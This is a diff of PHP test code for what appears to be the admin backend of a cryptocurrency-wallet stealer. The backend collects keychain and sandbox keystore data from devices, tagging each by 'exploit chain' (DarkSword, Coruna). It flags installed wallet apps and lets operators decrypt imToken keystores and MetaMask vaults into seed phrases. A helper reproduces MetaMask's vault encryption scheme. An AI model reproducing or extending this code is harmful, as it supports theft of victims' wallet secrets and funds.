app(IngestService::class)->ingestInstalledApps($device, [
|
||||
'al' => [
|
||||
['a' => 'Spotlight', 'b' => 'apple.Spotlight'],
|
||||
['a' => '*', 'b' => '*'],
|
||||
['a' => 'Octagon', 'b' => 'apple.security.octagon'],
|
||||
['a' => 'Safari', 'b' => 'com.apple.mobilesafari'],
|
||||
['a' => 'MetaMask', 'b' => 'io.metamask'],
|
||||
],
|
||||
]);
|
||||
|
||||
$this->assertFalse(
|
||||
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'apple.Spotlight')->exists()
|
||||
);
|
||||
$this->assertFalse(
|
||||
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', '*')->exists()
|
||||
);
|
||||
$this->assertFalse(
|
||||
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'apple.security.octagon')->exists()
|
||||
);
|
||||
$this->assertTrue(
|
||||
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.mobilesafari')->exists()
|
||||
);
|
||||
$this->assertTrue(
|
||||
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->exists()
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function applist_with_plugin_wallets_marks_yes_and_notifies_once(): void
|
||||
{
|
||||
|
||||
@@ -65,9 +65,8 @@ class KeystoreAdminTest extends TestCase
|
||||
->assertJsonPath('data.0.source', 'Trust Wallet')
|
||||
->assertJsonPath('data.0.decrypted', 1)
|
||||
->assertJsonPath('data.0.kind', '钥匙串')
|
||||
->assertJsonPath('data.0.item_count', 1)
|
||||
->assertJsonPath('data.0.summary', 'trust.account')
|
||||
->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01');
|
||||
->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01')
|
||||
->assertJsonPath('data.0.chain', Device::CHAIN_CORUNA);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.keystores.items', $row))
|
||||
@@ -95,9 +94,7 @@ class KeystoreAdminTest extends TestCase
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.source', 'Trust Wallet')
|
||||
->assertJsonPath('data.0.item_count', 1)
|
||||
->assertJsonPath('data.0.summary', 'trust.account');
|
||||
->assertJsonPath('data.0.source', 'Trust Wallet');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -259,4 +256,259 @@ class KeystoreAdminTest extends TestCase
|
||||
->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密');
|
||||
$this->assertGreaterThan(0, $resp->json('data.passwords'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_filters_keystores_that_need_password(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'DEVNEEDSPW01',
|
||||
'channel_id' => 'ch-ks-pw',
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => ['kind' => 'sandbox', 'sandbox' => []],
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
'decrypted' => 0,
|
||||
'needs_password' => 1,
|
||||
'raw_json' => ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']],
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.keystores.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 2);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.keystores.data', ['needs_password' => '1']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.source', 'imToken')
|
||||
->assertJsonPath('data.0.needs_password', 1);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores', 'needs_password' => '1']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.needs_password', 1);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.keystores.index'))
|
||||
->assertOk()
|
||||
->assertSee('需要密码');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_filters_keystores_by_chain(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$ds = Device::query()->create([
|
||||
'device_id' => 'DEVKSCHAINDS',
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
]);
|
||||
$app = Device::query()->create([
|
||||
'device_id' => 'DEVKSCHAINAPP',
|
||||
'chain' => Device::CHAIN_APP,
|
||||
]);
|
||||
WalletKeystore::firstOrCreateForDevice($ds, 'Trust Wallet', ['kind' => 'keychain.wallets', 'wallets' => []]);
|
||||
WalletKeystore::firstOrCreateForDevice($app, 'imToken', ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.keystores.index'))
|
||||
->assertOk()
|
||||
->assertSee('利用链');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.keystores.data', ['chain' => '2']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_key', 'DEVKSCHAINDS')
|
||||
->assertJsonPath('data.0.chain', Device::CHAIN_DARKSWORD);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.keystores.data', ['chain' => '3']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_key', 'DEVKSCHAINAPP')
|
||||
->assertJsonPath('data.0.chain', Device::CHAIN_APP);
|
||||
|
||||
$legacy = Device::query()->create([
|
||||
'device_id' => 'DEVKSCHAINLEGACY',
|
||||
'chain' => Device::CHAIN_APP,
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $legacy->id,
|
||||
'source' => 'Uniswap',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => []],
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.keystores.data', ['chain' => '3']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 2);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_password_decrypt_writes_mnemonic(): void
|
||||
{
|
||||
Http::fake();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$password = 'wallet-pass-1';
|
||||
$utc = EthKeystore::encrypt($phrase, $password, [
|
||||
'n' => 16,
|
||||
'r' => 8,
|
||||
'p' => 1,
|
||||
'dklen' => 32,
|
||||
'salt' => str_repeat('ab', 32),
|
||||
]);
|
||||
$device = Device::query()->create(['device_id' => 'DEVKSPASS01']);
|
||||
$row = WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
'decrypted' => 0,
|
||||
'needs_password' => 1,
|
||||
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.keystores.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.needs_password', 1)
|
||||
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.added', 1)
|
||||
->assertJsonPath('data.decrypted', 1);
|
||||
|
||||
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($mnemonic);
|
||||
$this->assertSame($phrase, $mnemonic->mnemonic);
|
||||
$this->assertSame('imToken', $mnemonic->source);
|
||||
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function password_decrypt_rejects_wrong_and_empty_password(): void
|
||||
{
|
||||
Http::fake();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$utc = EthKeystore::encrypt($phrase, 'correct-pass', [
|
||||
'n' => 16,
|
||||
'r' => 8,
|
||||
'p' => 1,
|
||||
'dklen' => 32,
|
||||
'salt' => str_repeat('cd', 32),
|
||||
]);
|
||||
$device = Device::query()->create(['device_id' => 'DEVKSPASS02']);
|
||||
$row = WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
'decrypted' => 0,
|
||||
'needs_password' => 1,
|
||||
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
|
||||
]);
|
||||
$plain = WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => ['kind' => 'sandbox', 'sandbox' => []],
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => ''])
|
||||
->assertStatus(422)
|
||||
->assertJsonPath('code', 1);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => 'wrong-pass'])
|
||||
->assertStatus(400)
|
||||
->assertJsonPath('code', 1)
|
||||
->assertJsonPath('msg', '密码不正确,未能解开助记词');
|
||||
|
||||
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.keystores.decryptPassword', $plain), ['password' => 'x'])
|
||||
->assertStatus(400)
|
||||
->assertJsonPath('msg', '该钥匙串未标记为需要密码');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_password_decrypt_metamask_vault(): void
|
||||
{
|
||||
Http::fake();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$password = 'woshini@88';
|
||||
$device = Device::query()->create(['device_id' => 'DEVKSPASSMM']);
|
||||
$row = WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'MetaMask',
|
||||
'decrypted' => 0,
|
||||
'needs_password' => 1,
|
||||
'raw_json' => $this->makeMetamaskVault($phrase, $password),
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.keystores.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.needs_password', 1)
|
||||
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.added', 1)
|
||||
->assertJsonPath('data.decrypted', 1)
|
||||
->assertJsonPath('data.vault', 1);
|
||||
|
||||
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($mnemonic);
|
||||
$this->assertSame($phrase, $mnemonic->mnemonic);
|
||||
$this->assertSame('MetaMask', $mnemonic->source);
|
||||
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function makeMetamaskVault(string $phrase, string $password): array
|
||||
{
|
||||
$inner = json_encode([[
|
||||
'type' => 'HD Key Tree',
|
||||
'data' => [
|
||||
'mnemonic' => array_map('ord', str_split($phrase)),
|
||||
'numberOfAccounts' => 1,
|
||||
'hdPath' => "m/44'/60'/0'/0",
|
||||
],
|
||||
]], JSON_UNESCAPED_SLASHES);
|
||||
$saltB64 = base64_encode(random_bytes(32));
|
||||
$iv = random_bytes(16);
|
||||
$key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true);
|
||||
$cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||||
|
||||
return [
|
||||
'kind' => 'metamask.vault',
|
||||
'cipher' => base64_encode((string) $cipher),
|
||||
'iv' => bin2hex($iv),
|
||||
'salt' => $saltB64,
|
||||
'lib' => 'quick-crypto',
|
||||
'keyMetadata' => [
|
||||
'algorithm' => 'PBKDF2',
|
||||
'params' => ['iterations' => 5000],
|
||||
],
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user